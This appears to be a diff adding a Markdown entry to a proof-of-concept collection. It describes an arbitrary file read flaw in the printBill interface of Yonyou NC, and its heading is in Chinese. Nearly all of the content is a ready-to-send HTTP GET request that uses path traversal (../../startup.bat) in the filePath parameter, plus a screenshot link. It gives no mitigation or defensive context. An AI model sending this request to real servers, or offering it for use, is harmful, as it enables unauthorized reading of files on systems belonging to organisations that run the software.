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+## 用友NC系统printBill接口存在任意文件读取漏洞
+
+## poc
+```
+GET /portal/pt/printpdf/printBill?pageId=login&filePath=../../startup.bat HTTP/1.1
+Host: 192.168.63.129:8088
+User-Agent: Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 68
+
+```
+
+![image](https://github.com/wy876/POC/assets/139549762/af404736-3588-4d7c-a76e-d781fb1d1251)
+
+